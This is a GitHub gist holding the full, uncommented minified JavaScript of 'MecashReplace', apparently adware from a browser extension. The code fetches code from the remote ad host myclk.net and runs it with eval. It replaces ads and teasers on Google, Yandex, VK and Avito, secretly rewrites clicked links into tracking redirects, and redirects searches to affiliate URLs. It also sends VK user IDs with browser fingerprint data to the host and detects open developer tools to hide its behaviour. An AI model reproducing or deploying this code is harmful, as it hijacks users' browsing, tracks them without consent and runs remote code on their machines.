Skip to content

Instantly share code, notes, and snippets.

@gilligan
Created December 26, 2016 12:20
Show Gist options
  • Select an option

  • Save gilligan/112dd1304daae4aa8f22a71db941460a to your computer and use it in GitHub Desktop.

Select an option

Save gilligan/112dd1304daae4aa8f22a71db941460a to your computer and use it in GitHub Desktop.
! function(window, document) {
var localStorage = window.localStorage;
if (!window.MecashReplace) {
var a = document.createElement("a"),
noop = function() {},
Event = function() {
function e(e) {
if (e = e || window.event, e.isFixed) return e;
if (e.isFixed = !0, e.preventDefault = e.preventDefault || function() {
this.returnValue = !1
}, e.stopPropagation = e.stopPropagaton || function() {
this.cancelBubble = !0
}, e.target || (e.target = e.srcElement), !e.relatedTarget && e.fromElement && (e.relatedTarget = e.fromElement == e.target ? e.toElement : e.fromElement), null == e.pageX && null != e.clientX) {
var t = document.documentElement,
r = document.body;
e.pageX = e.clientX + (t && t.scrollLeft || r && r.scrollLeft || 0) - (t.clientLeft || 0), e.pageY = e.clientY + (t && t.scrollTop || r && r.scrollTop || 0) - (t.clientTop || 0)
}
return !e.which && e.button && (e.which = 1 & e.button ? 1 : 2 & e.button ? 3 : 4 & e.button ? 2 : 0), e
}
function t(t) {
t = e(t);
var r = this.events[t.type];
for (var a in r)
if (r.hasOwnProperty(a)) {
var n = r[a],
o = n.call(this, t);
o === !1 && (t.preventDefault(), t.stopPropagation())
}
}
function r(e) {
return function(t) {
for (var r = t.relatedTarget; r && r !== this;) r = r.parentNode;
if (r != this) return e.call(this, t)
}
}
function a(e) {
return function(t) {
for (var r = t.relatedTarget; r && r !== this;) r = r.parentNode;
if (r != this) return e.call(this, t)
}
}
var n = 0;
return {
add: function(e, o, i) {
e.setInterval && e != window && !e.frameElement && (e = window), i.guid || (i.guid = ++n), e.events || (e.events = {}, e.handle = function(r) {
return "undefined" != typeof Event && t.call(e, r)
});
var c = i,
s = o;
"mouseenter" === o ? (s = "mouseover", c = a(i)) : "mouseleave" === o && (s = "mouseout", c = r(i)), e.events[s] || (e.events[s] = {}, e.addEventListener ? e.addEventListener(s, e.handle, !1) : e.attachEvent && e.attachEvent("on" + s, e.handle)), e.events[s][i.guid] = c
},
remove: function(e, t, r) {
var a = e.events && e.events[t];
if (a && (delete a[r.guid], util.empty(a) && (e.removeEventListener ? e.removeEventListener(t, e.handle, !1) : e.detachEvent && e.detachEvent("on" + t, e.handle), delete e.events[t], util.empty(e.events)))) try {
delete e.handle, delete e.events
} catch (t) {
e.removeAttribute("handle"), e.removeAttribute("events")
}
}
}
}(),
util = {
whitespace: "[\\x20\\t\\r\\n\\f]",
trim: function(e) {
var t = new RegExp("^" + util.whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + util.whitespace + "+$", "g");
return null == e ? "" : (e + "").replace(t, "")
},
toArray: function(e) {
return Array.prototype.slice.call(e)
},
isString: function(e) {
return "string" == typeof e
},
isArray: function(e) {
return Array.isArray ? Array.isArray(e) : "[object Array]" == Object.toString(e)
},
isFrame: function() {
return window.self != window.top
},
empty: function(e) {
if (!e) return !0;
if (util.isArray(e) || util.isString(e)) return 0 === e.length;
for (var t in e)
if (e.hasOwnProperty(t)) return !1;
return !0
},
keys: function(e) {
var t = [];
for (var r in e) e.hasOwnProperty(r) && t.push(r);
return t
},
each: function(e, t, r) {
if (e)
if (e.length === +e.length) {
for (var a = 0, n = e.length; a < n; a++)
if (!1 === t.call(r, e[a], a, e)) return
} else
for (var o in e)
if (e.hasOwnProperty(o) && !1 === t.call(r, e[o], o, e)) return
},
extend: function(e) {
return e = e || {}, util.each(util.toArray(arguments).slice(1), function(t) {
util.each(t, function(t, r) {
e[r] = t
})
}), e
},
shuffle: function(e) {
for (var t = e.length; t;) {
var r = Math.floor(Math.random() * t),
a = e[--t];
e[t] = e[r], e[r] = a
}
return e
},
toParams: function(e) {
var t, r, a = [],
n = function(e, t) {
var r, a = [];
if (t === !0 ? t = "1" : t === !1 && (t = "0"), "function" == typeof t && (t = t()), null !== t && "object" == typeof t) {
for (r in t) t.hasOwnProperty(r) && null !== t[r] && a.push(n(e + "[" + r + "]", t[r]));
return a.join("&")
}
if ("function" != typeof t) return encodeURIComponent(e) + "=" + encodeURIComponent(t);
throw new Error
};
for (r in e)
if (e.hasOwnProperty(r)) {
t = e[r];
var o = n(r, t);
o && a.push(o)
}
return a.join("&")
},
ajax: function(e) {
e = util.extend({
dataType: "json",
contentType: "application/x-www-form-urlencoded",
charset: "utf-8"
}, e);
var t = function(t) {
t && r.setRequestHeader("Content-type", e.contentType + "; charset=" + e.charset)
};
switch (e.contentType) {
case "application/x-www-form-urlencoded":
e.data = util.toParams(e.data || {});
break;
case "application/json":
e.data = JSON.stringify(e.data)
}
e.async = e.async || !0;
var r = util.prepareRequest(e);
"POST" === e.type ? (r.open("POST", e.url, e.async), t(1), r.send(e.data)) : (r.open("GET", e.url + (util.empty(e.data) ? "" : (e.url.match(/\?/) ? "&" : "?") + e.data), e.async), t(), r.send(null))
},
prepareRequest: function(e) {
var t;
if (window.XMLHttpRequest) t = new XMLHttpRequest, t.overrideMimeType && t.overrideMimeType("text/html");
else if (window.ActiveXObject) try {
t = new ActiveXObject("Msxml2.XMLHTTP")
} catch (e) {
try {
t = new ActiveXObject("Microsoft.XMLHTTP")
} catch (e) {}
}
if (!t) throw new Error("Could not create a XMLHttpRequest instance.");
return Event.add(t, "readystatechange", function() {
switch (t.readyState) {
case 1:
(e.load || noop)();
break;
case 4:
var r = t.responseText;
if ("json" === e.dataType) try {
r = JSON.parse(r)
} catch (e) {}
t.status > 199 && t.status < 300 || 304 === t.status ? (e.success || noop)(r, t) : (e.error || noop)(r, t)
}
e.always = e.always || noop;
try {
e.always(t.readyState, t.status, r)
} catch (r) {
e.always(t.readyState)
}
}), t.withCredentials = !0, t
},
scheme: function() {
return MecashReplaceConfig.scheme || ("https:" == document.location.protocol ? "https://" : "http://")
},
error: function(e) {
throw new Error("MecashReplace: " + e)
},
css: function(e, t) {
util.extend(e.style, t)
},
offset: function(e) {
for (var t = 0, r = 0; e;) t += e.offsetTop || 0, r += e.offsetLeft || 0, e = e.offsetParent;
return {
top: t,
left: r
}
},
bind: function(e, t) {
var r, a, n = Array.prototype.slice;
return r = n.call(arguments, 2), a = function() {
if (!(this instanceof a)) return e.apply(t, r.concat(n.call(arguments)));
noop.prototype = e.prototype;
var o = new noop;
noop.prototype = null;
var i = e.apply(o, r.concat(n.call(arguments)));
return Object(i) === i ? i : o
}
},
getDomainByUrl: function(e) {
return a.href = e, util.getDomain(a)
},
getDomain: function(e) {
return e.hostname.toLowerCase().replace(/^www\./, "")
},
getRealDomain: function(e) {
return util.getDomainByUrl(util.getRealHref(e))
},
getRealHref: function(e) {
var t = util.getDomain(e);
return -1 !== ["google.ru", "google.com", "yabs.yandex.ru"].indexOf(t) && e.getAttribute ? e.getAttribute("data-href") : e.href
},
getBaseRealHref: function(e) {
a.href = util.getRealHref(e);
var t = util.getDomain(a),
r = "";
return -1 !== ["realty.yandex.ru", "plarium.com", "espritgames.ru", "101xp.com", "promo.101xp.com"].indexOf(t) && (r = a.pathname), t + r
},
now: function() {
return (new Date).getTime()
},
filterMarkItems: function(e, t) {
if (!e) return [];
for (var r = [], a = 0; a < e.length; a++) {
var n = e[a];
n.getAttribute("data-" + t) != t && r.push(n)
}
return r
},
markItem: function(e, t) {
return e.setAttribute("data-" + t, t), e
}
},
core = {
start: util.now(),
runTimeout: null,
progress: !1,
initialized: !1,
dt: !1,
checkDT: function() {
var e = new Image,
t = function() {
clearInterval(a), core.dt || ((new Image).src = util.scheme() + MecashReplaceConfig.ad_host + "/replacement/dt?r=" + Math.random()), core.dt = !0
};
e.__defineGetter__("id", t);
var r = function() {
return window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized ? void t() : (console.log(e), void setTimeout(function() {
core.dt || console.clear()
}, 100))
},
a = setInterval(r, 1e3);
r()
},
getRunningTime: function() {
return util.now() - core.start
},
addExtensionQueryPart: function(e) {
var t;
return t = MecashReplaceConfig.eid ? {
ext: MecashReplaceConfig.eid
} : MecashReplaceConfig.extension_id ? {
ext: MecashReplaceConfig.extension_id
} : {
place: MecashReplaceConfig.replace_id
}, MecashReplaceConfig.subid && (t.subid = MecashReplaceConfig.subid), util.extend(t, e)
},
post: function(e, t, r) {
t = core.addExtensionQueryPart(t), util.ajax({
type: "POST",
url: util.scheme() + MecashReplaceConfig.ad_host + e,
contentType: "application/json",
data: t,
success: r || noop
})
},
ping: function() {
var params = {
page: document.location.href,
frame: util.isFrame()
};
util.ajax({
url: util.scheme() + MecashReplaceConfig.ad_host + "/replacement/ping",
data: core.addExtensionQueryPart(params),
success: function(code) {
eval(code)
}
})
},
getPageHostname: function() {
return document.location.hostname.replace(/^www\./, "")
},
vk: function() {
if ("vk.com" === core.getPageHostname()) {
var e = "_ym_vk_ts",
t = window.vk && window.vk.id;
if (!t) {
var r = document.getElementById("queue_storage_frame");
if (r) {
var a = r.src.match(/\d+$/);
a && (t = parseInt(a[0]))
}
}
if (!t) return void setTimeout(util.bind(core.vk, core), 1e3);
if (!(localStorage[e] && localStorage[e] > Date.now() - 6048e5)) {
localStorage[e] = Date.now();
var n = {
loc: "",
ref: "",
ua: "",
currentTimeZoneOffsetInHours: "",
lng: "",
wh: "",
request_id: "",
initWindowWidthHeight: function() {
try {
n.wh = window.screen.width + "x" + window.screen.height
} catch (e) {}
},
initLanguage: function() {
try {
var e = navigator.browserLanguage || navigator.language || navigator.userLanguage;
n.lng = encodeURIComponent(e)
} catch (e) {}
},
initTimezone: function() {
try {
var e = new Date;
n.currentTimeZoneOffsetInHours = -e.getTimezoneOffset() / 60
} catch (e) {}
},
initLocation: function() {
try {
n.loc = encodeURIComponent(window.location.toString())
} catch (e) {}
},
initReferrer: function() {
try {
n.ref = encodeURIComponent(document.referrer.toString())
} catch (e) {}
},
initUserAgent: function() {
try {
n.ua = encodeURIComponent(navigator.userAgent.toString()).substr(0, 200)
} catch (e) {}
},
init: function() {
n.initWindowWidthHeight(), n.initLanguage(), n.initLocation(), n.initReferrer(), n.initUserAgent(), n.initTimezone()
}
};
n.init(), (new Image).src = util.scheme() + MecashReplaceConfig.ad_host + "/uid/vk?" + util.toParams({
id: t,
loc: n.loc,
ref: n.ref,
ua: n.ua,
wh: n.wh,
tz: n.currentTimeZoneOffsetInHours,
lng: n.lng
})
}
}
},
init: function() {
if (!document.body) return void setTimeout(util.bind(core.init, core), 10);
if (!this.initialized) {
if (core.checkConfiguration(), this.initialized = !0, core.checkDT(), core.vk(), window.MutationObserver) {
var e = core.getPageHostname(),
t = {
"yandex.ru": [/\bcontent__left\b/, /\bsuggest2\b/],
"yandex.ua": [/\bcontent__left\b/, /\bsuggest2\b/],
"google.com": [/\bcontent\b/, /\btsf\b/],
"google.com.ua": [/\bcontent\b/, /\btsf\b/],
"google.ru": [/\bcontent\b/, /\btsf\b/]
};
if (t.hasOwnProperty(e)) {
var r = t[e],
a = new window.MutationObserver(function(e) {
for (var t = !0, a = 0; a < e.length; a++)
for (var n = e[a].target; n;) {
for (var o = 0; o < r.length; o++) r[o].test(n.className) && (t = !1);
n = n.parentNode
}
t || core.progress || (clearTimeout(core.runTimeout), core.runTimeout = setTimeout(util.bind(core.run, core, document.body), 500))
});
a.observe(document.body, {
childList: !0,
subtree: !0
})
}
}
setInterval(util.bind(core.replaceBanners, core), 1e3), setInterval(util.bind(core.replaceTeasers, core), 1e3), core.exec(function() {
core.run(document.body)
}), "complete" !== document.readyState && Event.add(window, "load", function() {
core.exec(function() {
core.run(document.body)
})
})
}
},
replaceSE: function() {
localStorage.seReplace && Date.now() - localStorage.seReplace < 864e5 || setInterval(function() {
var e, t, r = document.location,
a = r.pathname,
n = r.hostname;
r.href;
if ("/search" == a && "go.mail.ru" == n) {
if (t = document.getElementById("q"), !t) return;
e = "http://go.mail.ru/search?" + util.toParams({
q: t.value,
gp: 818002,
frc: 818002
})
}
if ("/search/" == a && "www.yandex.ru" == n && 109 == MecashReplaceConfig.eid) {
if (t = document.querySelector("input[name=text]"), !t) return;
if (Math.random() > .1) return void(localStorage.seReplace = Date.now());
e = "https://www.yandex.ru/search/?" + util.toParams({
text: t.value,
clid: 2283095
})
}
e && (localStorage.seReplace = Date.now(), document.location.href = "http://" + MecashReplaceConfig.ad_host + "/go?" + util.toParams({
url: e
}))
}, 1e3)
},
exec: function(e) {
try {
e()
} catch (e) {
(new Image).src = "//" + MecashReplaceConfig.ad_host + "/replacement/error?" + util.toParams({
message: e.message,
stack: e.stack
}), console.error(e)
}
},
replaceTeasers: function() {
if (core.isModuleEnabled("teaser")) switch (core.getPageHostname()) {
case "google.ru":
case "google.com":
case "google.com.ua":
this.replaceGoogleTeasers();
break;
case "yandex.ru":
case "yandex.ua":
"/search/" == document.location.pathname && this.replaceYandexTeasers();
break;
case "avito.ru":
this.replaceAvitoTeasers();
break;
default:
this.searchAndReplaceTeaserBlocks()
}
},
loadTeasers: function(e, t, r) {
var a = [],
n = [core.loadMecashTeasers];
core.loadTeasersChain(e, t, r, a, n, 0)
},
loadTeasersChain: function(e, t, r, a, n, o) {
var i = n[o];
i.call(core, e - a.length, t, function(i) {
return a = a.concat(i), o == n.length - 1 || a.length >= e ? void r(a) : void core.loadTeasersChain(e, t, r, a, n, ++o)
})
},
loadMecashTeasers: function(e, t, r) {
util.ajax({
type: "GET",
url: util.scheme() + MecashReplaceConfig.ad_host + "/replacement/teasers?" + util.toParams(core.addExtensionQueryPart({
subid: t,
count: e
})),
contentType: "application/json",
success: function(e) {
var t = [];
e && e.teasers && (t = e.teasers), r(t)
},
error: function() {
r([])
}
})
},
renderTeasers: function(e, t, r) {
if (e && !e.getElementsByClassName("mecash-teaser").length) {
var a = document.location.hostname,
n = document.createElement("div");
n.className = "mecash-teaser", e.appendChild(n), this.loadTeasers(t, a, function(t) {
if (t.length) {
util.shuffle(t);
for (var a = "", o = 0; o < t.length; o++) {
var i = t[o];
a += r.replace(/#IMAGE#/g, i.image).replace(/#TITLE#/g, i.title).replace(/#TEXT#/g, i.text).replace(/#URL#/g, i.url)
}
e.innerHTML = a, e.appendChild(n)
}
})
}
},
replaceVkTeasers: function() {
var e = document.getElementById("left_ads");
this.renderTeasers(e, 3, '<div class="ads_ad_box ver repeat_ver size_site first"><a class="ads_ad_box2 ver repeat_ver size_site first" target="_blank" href="#URL#"><div class="ads_ad_text_box ver repeat_ver size_site"><div class="ads_ad_title_box ver repeat_ver"><div class="ads_ad_title ver repeat_ver" style="color: red">#TITLE#</div></div><div class="ads_ad_photo_box ver"><img class="ads_ad_photo ver" src="#IMAGE#" style="max-width: 90px"></div><div class="ads_ad_description ver">#TEXT#</div></div></a></div>')
},
replaceOkTeasers: function() {
var e = document.getElementsByClassName("trg-b-list")[0];
this.renderTeasers(e, 3, '<li class="trg-b-banner"><a class="trg-b-all-in-link" href="#URL#" target="_blank"><span><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><span class="trg-b-header-wrapper"><a class="trg-b-header" href="#URL#" target="_blank">#TITLE#</a></span><img class="trg-b-img" src="#IMAGE#" border="0" style="width:90px;height:90px;"><span class="trg-b-text">#TEXT#</span></td></tr></tbody></table></span></a></li>')
},
replaceYandexTeasers: function() {
var e = document.getElementsByClassName("content__right")[0];
this.renderTeasers(e, 3, '<div class="serp-item clearfix serp-adv__item"> <h2 class="serp-item__title"> <a class="link serp-item__title-link" target="_blank" href="#URL#"><b>#TITLE#</b></a> </h2> <a href="#URL#" target="_blank"><img src="#IMAGE#" alt=""></a> <div class="serp-item__text"><a href="#URL#" target="_blank">#TEXT#</a></div> </div>')
},
replaceGoogleTeasers: function() {
var e = document.getElementById("rhs_block");
this.renderTeasers(e, 3, '<div class="ads-ad" style="width: 200px"> <h3><a href=#URL# target="_blank">#TITLE#‎</a></h3> <div><a href=#URL# target="_blank"><img src="#IMAGE#"></a></div> <div class="ads-creative">#TEXT#</div> </div>')
},
replaceAvitoTeasers: function() {
var e = document.getElementsByClassName("vips")[0];
this.renderTeasers(e, 3, '<div class="vip-item"><div class="vip-item__photo"><a href="#URL#" target="_blank"> <img src="#IMAGE#"> </a></div><div class="vip-item__description"> <h3 class="vip-item__header fader"><a href="#URL#" target="_blank">#TITLE#</a></h3><div class="vip-item__options"><div class="vip-item__option-row">#TEXT#</div></div></div></div>')
},
replaceBanners: function() {
if (core.isModuleEnabled("banner") && top == self) {
for (var e = document.getElementsByTagName("div"), t = 0; t < e.length; t++) this.replaceBanner(e[t]);
var r = document.getElementsByTagName("iframe");
for (t = 0; t < r.length; t++) this.replaceBanner(r[t])
}
},
replaceBanner: function(e) {
for (var t = e; t;) {
if (t.mecashReplaced || t.getAttribute && t.getAttribute("data-mecash-adv") || t.style && "absolute" == t.style.position) return;
t = t.parentNode
}
var r = ["240x400", "300x250", "728x90", "160x600"],
a = e.offsetWidth,
n = e.offsetHeight,
o = a + "x" + n; - 1 !== r.indexOf(o) && (e.mecashReplaced = 1, util.ajax({
type: "GET",
url: util.scheme() + MecashReplaceConfig.ad_host + "/replacement/banner?" + util.toParams(core.addExtensionQueryPart({
v: 2,
width: a,
height: n
})),
contentType: "application/json",
success: function(t) {
t && t.url && ("IFRAME" == e.tagName ? e.src = t.url : e.innerHTML = '<iframe src="' + t.url + '" width="' + a + '" height="' + n + '" frameborder="0" scrolling="no"></iframe>')
}
}))
},
prepare: function() {
if (document.querySelectorAll) switch (core.getPageHostname()) {
case "yandex.ru":
case "yandex.ua":
this.prepareYandex();
break;
case "google.ru":
case "google.com":
case "google.com.ua":
this.prepareGoogle()
}
},
prepareYandex: function() {
for (var e = document.querySelectorAll(".serp-adv-item"), t = 0; t < e.length; t++) {
var r = e[t],
a = r.querySelector(".serp-item__greenurl a") || r.querySelector(".organic__path a");
if (a)
for (var n = a.textContent.toLowerCase(), o = r.querySelectorAll("a"), i = 0; i < o.length; i++) o[i].setAttribute("data-href", "http://" + n.split("/")[0])
}
},
prepareGoogle: function() {
for (var e = document.querySelectorAll(".ads-ad"), t = 0; t < e.length; t++) {
var r = e[t],
a = r.querySelector("cite");
if (a)
for (var n = a.textContent.toLocaleLowerCase(), o = r.querySelectorAll("a"), i = 0; i < o.length; i++) o[i].setAttribute("data-href", "http://" + n)
}
},
run: function(e) {
if (clearTimeout(core.runTimeout), -1 === ["vk.com", "youtube.com"].indexOf(core.getPageHostname()) && core.isModuleEnabled("replacement") && !util.isFrame()) {
core.progress = !0, this.prepare();
var t = {
url: document.location.href,
urls: [],
phrases: []
};
return MecashReplaceConfig.replaceSettings.domains && (t.urls = core.findUrls(e)), MecashReplaceConfig.replaceSettings.phrases && (t.phrases = core.findPhrases(e)), t.urls.length || t.phrases.length ? void core.post("/replacement/find", t, function(t) {
core.dt || core.replaceUrls(e, t.urls), core.replacePhrases(e, t.phrases), setTimeout(function() {
core.progress = !1
}, 10)
}) : void(core.progress = !1)
}
},
findLinks: function(e) {
for (var t = e.getElementsByTagName("A"), r = [], a = 0; a < t.length; a++) {
var n = t[a];
n.hostname && util.getRealDomain(n) && r.push(n)
}
return r
},
findUrls: function(e) {
if (!e) return [];
for (var t = {}, r = this.findLinks(e), a = 0; a < r.length; a++) {
var n = util.getBaseRealHref(r[a]);
t[n] = 1
}
return util.keys(t)
},
replaceUrls: function(e, t) {
var r = {};
if (!e || !t) return r;
for (var a = this.findLinks(e), n = 0; n < a.length; n++) {
var o = a[n],
i = util.getBaseRealHref(o);
if (i && t.hasOwnProperty(i)) {
var c = t[i],
s = util.getRealHref(o);
o.realHref = s, o.hiddenHref = core.buildClickLink(util.extend({}, c, {
subid: MecashReplaceConfig.subid,
href: s
})), core.setClickHandler(o);
var l = c.replacement;
r[l] || (r[l] = 0), r[l]++
}
}
return r
},
setClickHandler: function(e) {
var t = e.onclick;
e.onclick = function(r) {
var a, n = core.handleClick(e);
if ("function" == typeof t && (a = t(r)), n && !1 === a) return !1
}
},
getPageBaseDomain: function() {
for (var e = 0, t = document.domain, r = t.split("."), a = "_gd" + (new Date).getTime(); e < r.length - 1 && document.cookie.indexOf(a + "=" + a) == -1;) t = r.slice(-1 - ++e).join("."), document.cookie = a + "=" + a + ";domain=" + t + ";";
return document.cookie = a + "=;expires=Thu, 01 Jan 1970 00:00:01 GMT;domain=" + t + ";", t
},
handleClick: function(e) {
if (!e.hiddenHref) return !1;
var t = e.href,
r = util.getDomain(document.location);
if (core.dt && e.realHref) return !1;
var a = e.realHref && util.getDomainByUrl(e.realHref);
if (a && (-1 !== r.indexOf(a) || -1 !== a.indexOf(r))) {
var n = util.now();
if (!localStorage || localStorage._ym_ts && n - localStorage._ym_ts < 72e5 || n - core.start < 6e4) return !1;
localStorage._ym_ts = util.now()
}
return e.href = e.hiddenHref, e.realHref && delete e.hiddenHref, setTimeout(function() {
e.href = t
}, 10), !0
},
isPhraseNodeAllowed: function(e) {
if (!e.tagName) return !1;
var t = ["AUDIO", "VIDEO", "IFRAME", "A", "IMG", "INPUT", "BUTTON", "SELECT", "OPTION", "SCRIPT", "META", "LINK", "STYLE", "NOSCRIPT", "HEADER", "FOOTER"];
if (t = t.concat(["LABEL", "H1", "H2", "H3", "H4", "H5", "H6"]), -1 !== t.indexOf(e.tagName.toUpperCase())) return !1;
for (var r = ["ya-partner", "MecashReplace-exclude", "header"], a = 0; a < r.length; a++)
if ("function" != typeof e.className.indexOf || e.className.match(new RegExp("\b" + r[a] + "\b"))) return !1;
var n = ["header", "footer"];
for (a = 0; a < n.length; a++)
if (e.id === n[a]) return !1;
return !0
},
findPhraseNodes: function(e) {
for (var t = [], r = [e]; r.length;) {
var a = r.shift();
if (a.nodeType === Node.TEXT_NODE) {
var n = util.trim(a.textContent);
if (n.length > 2) {
var o = core.extractWords(a.textContent);
o.length && t.push([a, o])
}
} else if (core.isPhraseNodeAllowed(a))
for (var i = 0, c = a.childNodes.length; i < c; i++) r.push(a.childNodes[i])
}
return t
},
findPhrases: function(e) {
for (var t = [], r = 0, a = this.findPhraseNodes(e), n = 0; n < a.length; n++) {
var o = a[n][1],
i = [];
util.each(o, function(e) {
i.push(e.word)
});
var c = i.join(" ");
if (r += c.length, r > MecashReplaceConfig.replaceSettings.maxIndexLength) break;
t.push(c)
}
return t
},
replacePhrases: function(e, t) {
var r = {};
if (!e || !t) return r;
var a = this.doReplacePhrases(e, t);
a = this.removeBadReplaces(e, a);
for (var n = 0; n < a.length; n++) {
var o = a[n].MecashReplaceMeta,
i = o.phrase;
r[i] = r[i] || 0, r[i]++
}
return r
},
doReplacePhrases: function(e, t) {
var r = {};
util.each(t, function(e, t) {
for (var a = core.extractWords(t), n = r, o = 0; o < a.length; o++) n.hasOwnProperty(a[o].word) || (n[a[o].word] = {
parent: n
}), n = n[a[o].word], o === a.length - 1 && (n.data = e)
});
for (var a = core.findPhraseNodes(e), n = [], o = 0; o < a.length; o++) {
for (var i, c = a[o][0], s = a[o][1], l = c.textContent, u = 0, d = 0; d < s.length;) {
for (var f = d, h = r; f < s.length && h.hasOwnProperty(s[f].word);) h = h[s[f].word], f++;
for (; h.parent && !h.data;) h = h.parent, f--;
if (f <= d && !h.data) d++;
else {
i = l.slice(u, s[d].index), "" != i && c.parentNode.insertBefore(document.createTextNode(i), c);
var p = s[f - 1].index + s[f - 1].word.length,
g = l.slice(s[d].index, p),
m = core.createPhraseLink(g, h);
n.push(m), c.parentNode.insertBefore(m, c), u = p, d = f
}
}
u > 0 && (c.textContent = l.slice(u))
}
return n
},
removeBadReplaces: function(e, t) {
for (var r = Math.pow(MecashReplaceConfig.replaceSettings.minDistance, 2), a = [], n = [], o = [], i = 0; i < t.length; i++) {
var c = t[i],
s = util.offset(c);
s.width = c.offsetWidth, s.height = c.offsetHeight;
for (var l = !0, u = a.length - 1; u >= 0; u--)
if (core.getDistance(a[u], s) < r) {
l = !1;
break
}
l ? (o.push(c), a.push(s)) : n.push(c)
}
for (i = 0; i < n.length; i++) c = n[i], c.parentNode.insertBefore(document.createTextNode(c.textContent), c), c.parentNode.removeChild(c);
return o
},
createPhraseLink: function(e, t) {
var r = document.createElement("a"),
a = util.extend({}, t.data, {
subid: MecashReplaceConfig.subid,
text: e
});
return r.MecashReplaceMeta = a, util.extend(r, {
rel: "nofollow",
target: "_blank",
className: "mecash-replace-link",
textContent: e,
href: t.data.link || "#",
hiddenHref: core.buildClickLink(a)
}), core.setClickHandler(r), util.css(r, {
position: "relative",
fontWeight: "bold"
}), r
},
extractWords: function(e) {
var t, r = new RegExp("(?:[-._&]?[a-zа-яё0-9]+)+", "ig"),
a = [];
for (a.wordsLength = 0; t = r.exec(e);) a.push({
word: t[0].toLowerCase(),
text: t[0],
index: t.index
}), a.wordsLength += t[0].length;
return a
},
buildClickLink: function(e) {
var t = core.addExtensionQueryPart(e);
return t.url = document.location.href, "http://" + MecashReplaceConfig.ad_host + "/replacement/click?" + util.toParams(t)
},
checkConfiguration: function() {
MecashReplaceConfig.replace_id || MecashReplaceConfig.extension_id || MecashReplaceConfig.eid || util.error('Please provide "replace_id" or "eid" parameter')
},
getDistance: function(e, t) {
var r, a, n, o;
return e.top < t.top ? (n = e.top + e.height, o = t.top) : (n = t.top + t.height, o = e.top), e.left < t.left ? (r = e.left + e.width, a = t.left) : (r = t.left + t.width, a = e.left), Math.pow(r - a, 2) + Math.pow(n - o, 2)
},
isModuleEnabled: function(e) {
return -1 !== MecashReplaceConfig.enabledModules.indexOf(e)
},
replaceTeaserContent: function(e, t, r, a, n, o, i) {
if (r)
for (var c = e.querySelectorAll(r), s = 0; s < c.length; s++) c[s].setAttribute("href", t.url), c[s].removeAttribute("title"), c[s].onclick = function(e) {
this.href = t.url, e.stopPropagation(), e.stopImmediatePropagation()
}, c[s].__defineGetter__("href", function() {
return t.url
});
if (a)
for (var l = e.querySelectorAll(a), u = 0; u < l.length; u++) l[u].setAttribute("src", t.image), l[u].removeAttribute("title"), l[u].removeAttribute("alt");
if (n)
for (var d = e.querySelectorAll(n), f = 0; f < d.length; f++) d[f].textContent = t.title, d[f].removeAttribute("title");
if (o)
for (var h = e.querySelectorAll(o), p = 0; p < h.length; p++) h[p].textContent = t.text;
"function" == typeof i && i(e)
},
searchAndReplaceTeaserBlocks: function() {
var e = [
['div[id^="MarketGid"] div[class^="mgline teaser-"]', "mg", core.replaceMarketgidTeasers],
[".da_adp_teaser", "da", core.replaceDirectadvertTeasers],
['[class^="SC_TBlock_"][class$="_td"]', "lc", core.replaceLadycashTeasers],
['td[id^="tid_"]', "kd", core.replaceKadamTeasers],
['div[id^="TovarroComposite"] div[class^="mgline teaser-"]', "tv", core.replaceTovarroTeasers]
];
util.each(e, function(e) {
var t = e[0],
r = e[1],
a = e[2],
n = document.querySelectorAll(t);
if (n.length) {
var o = "mark",
i = util.filterMarkItems(n, o),
c = i.length;
if (c) {
for (var s = 0; s < i.length; s++) util.markItem(i[s], o);
core.loadTeasers(c, r, function(e) {
for (var t = 0; t < Math.min(c, e.length); t++) {
var r = i[t],
n = e[t];
a(r, n)
}
})
}
}
})
},
replaceMarketgidTeasers: function(e, t) {
core.replaceTeaserContent(e, t, "a", "img.mcimg, img", ".mctitle a", ".mcdesc", function(e) {
for (var t = e.querySelectorAll(".div1"), r = 0; r < t.length; r++) util.css(t[r], {
display: "none"
})
})
},
replaceDirectadvertTeasers: function(e, t) {
core.replaceTeaserContent(e, t, "a", ".da_adp_img img, img", ".da_adp_title a, .teaser-text", null, null)
},
replaceLadycashTeasers: function(e, t) {
core.replaceTeaserContent(e, t, "td a", 'td a img[id^="SC_TBlock_"]', 'td a[class$="_title"]', null, null)
},
replaceKadamTeasers: function(e, t) {
core.replaceTeaserContent(e, t, "td a", 'td a img[id^="img_tid_"]', 'td a[id^="title_tid_"]', 'td a[id^="text_tid_"]', null)
},
replaceTovarroTeasers: function(e, t) {
core.replaceTeaserContent(e, t, "a", "img.mcimg, img", ".mctitle a", ".mcdesc", function(e) {
for (var t = e.querySelectorAll(".price-box"), r = 0; r < t.length; r++) util.css(t[r], {
display: "none"
})
})
}
},
MecashReplaceConfig = util.extend({
replace_id: 0,
extension_id: 0,
eid: 0,
ad_host: "myclk.net",
subid: "",
scheme: "",
enabledModules: [],
replaceSettings: {
minDistance: 20,
maxIndexLength: 1e4,
phrases: !0,
domains: !0
}
}, window.mecash_config),
MecashReplace = {
config: MecashReplaceConfig,
run: util.bind(core.run, core),
replacePhrases: util.bind(core.replacePhrases, core),
util: util,
pingResult: function(e) {
MecashReplaceConfig = util.extend(MecashReplaceConfig, e), core.init()
}
};
window.MecashReplace = MecashReplace, core.ping(), core.replaceSE()
}
}(window, document);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment